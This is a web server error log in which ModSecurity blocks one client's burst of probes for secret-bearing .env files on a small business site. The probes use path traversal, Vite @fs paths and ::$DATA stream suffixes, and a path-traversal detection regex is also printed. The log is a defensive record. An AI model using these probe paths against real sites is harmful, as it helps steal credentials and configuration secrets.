[Mon Oct 26 07:29:07.769102 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.19.176.196:37516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at85g33wwcXP35BsOaDuxQAAAAw"]
[Mon Oct 26 07:29:07.776824 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at85gwbLerFfv4dhcWT08AAAAAY"]
[Mon Oct 26 07:29:07.777395 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at85gwbLerFfv4dhcWT08AAAAAY"]
[Mon Oct 26 07:29:07.777651 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at85gwbLerFfv4dhcWT08AAAAAY"]
[Mon Oct 26 07:29:07.778776 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37500] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at85g-jICF14JuwJz6aCGQAAAA8"]
[Mon Oct 26 07:29:07.779133 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37500] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at85g-jICF14JuwJz6aCGQAAAA8"]
[Mon Oct 26 07:29:07.779349 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37500] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at85g-jICF14JuwJz6aCGQAAAA8"]
[Mon Oct 26 07:29:07.781216 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37530] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at85g9-fnwNv3Luhiy4YMwAAAAE"]
[Mon Oct 26 07:29:07.781776 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37530] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at85g9-fnwNv3Luhiy4YMwAAAAE"]
[Mon Oct 26 07:29:07.782085 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37530] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at85g9-fnwNv3Luhiy4YMwAAAAE"]
[Mon Oct 26 07:29:07.788693 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85g5_dbg3ptBnwDgQ4EQAAAAM"]
[Mon Oct 26 07:29:07.789037 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85g5_dbg3ptBnwDgQ4EQAAAAM"]
[Mon Oct 26 07:29:07.789297 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85g5_dbg3ptBnwDgQ4EQAAAAM"]
[Mon Oct 26 07:29:07.799692 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.19.176.196:37466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at85g7kwJvKDxgyGEF95vAAAABE"]
[Mon Oct 26 07:29:07.800059 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.19.176.196:37466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at85g7kwJvKDxgyGEF95vAAAABE"]
[Mon Oct 26 07:29:07.800294 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.19.176.196:37466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at85g7kwJvKDxgyGEF95vAAAABE"]
[Mon Oct 26 07:29:07.801388 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.19.176.196:37516] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at85g33wwcXP35BsOaDuxgAAAAw"]
[Mon Oct 26 07:29:07.801786 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.19.176.196:37516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at85g33wwcXP35BsOaDuxgAAAAw"]
[Mon Oct 26 07:29:07.802026 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.19.176.196:37516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at85g33wwcXP35BsOaDuxgAAAAw"]
[Mon Oct 26 07:29:07.803114 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37462] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at85g05VL05DK7ky7IO-dQAAAA4"]
[Mon Oct 26 07:29:07.803422 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37462] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at85g05VL05DK7ky7IO-dQAAAA4"]
[Mon Oct 26 07:29:07.803662 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37462] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at85g05VL05DK7ky7IO-dQAAAA4"]
[Mon Oct 26 07:29:07.805975 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37566] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at85gxatj5i5ZMjJaPkrPwAAABY"]
[Mon Oct 26 07:29:07.806264 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37566] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at85gxatj5i5ZMjJaPkrPwAAABY"]
[Mon Oct 26 07:29:07.806481 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37566] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at85gxatj5i5ZMjJaPkrPwAAABY"]
[Mon Oct 26 07:29:07.811650 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37530] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at85g9-fnwNv3Luhiy4YNAAAAAE"]
[Mon Oct 26 07:29:07.811970 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37530] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at85g9-fnwNv3Luhiy4YNAAAAAE"]
[Mon Oct 26 07:29:07.812200 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37530] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at85g9-fnwNv3Luhiy4YNAAAAAE"]
[Mon Oct 26 07:29:07.816208 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_nuxt/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85gwbLerFfv4dhcWT08QAAAAY"]
[Mon Oct 26 07:29:07.816298 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85gwbLerFfv4dhcWT08QAAAAY"]
[Mon Oct 26 07:29:07.816791 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85gwbLerFfv4dhcWT08QAAAAY"]
[Mon Oct 26 07:29:07.817032 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85gwbLerFfv4dhcWT08QAAAAY"]
[Mon Oct 26 07:29:07.855848 2026] [authz_core:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 07:29:08.006108 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37500] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at85hOjICF14JuwJz6aCGgAAAA8"]
[Mon Oct 26 07:29:08.006565 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37500] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at85hOjICF14JuwJz6aCGgAAAA8"]
[Mon Oct 26 07:29:08.006905 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37500] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at85hOjICF14JuwJz6aCGgAAAA8"]
[Mon Oct 26 07:29:08.063775 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.19.176.196:37466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at85hLkwJvKDxgyGEF95vQAAABE"]
[Mon Oct 26 07:29:08.064202 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.19.176.196:37466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at85hLkwJvKDxgyGEF95vQAAABE"]
[Mon Oct 26 07:29:08.064460 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.19.176.196:37466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at85hLkwJvKDxgyGEF95vQAAABE"]
[Mon Oct 26 07:29:08.103680 2026] [core:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37500] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/.env)
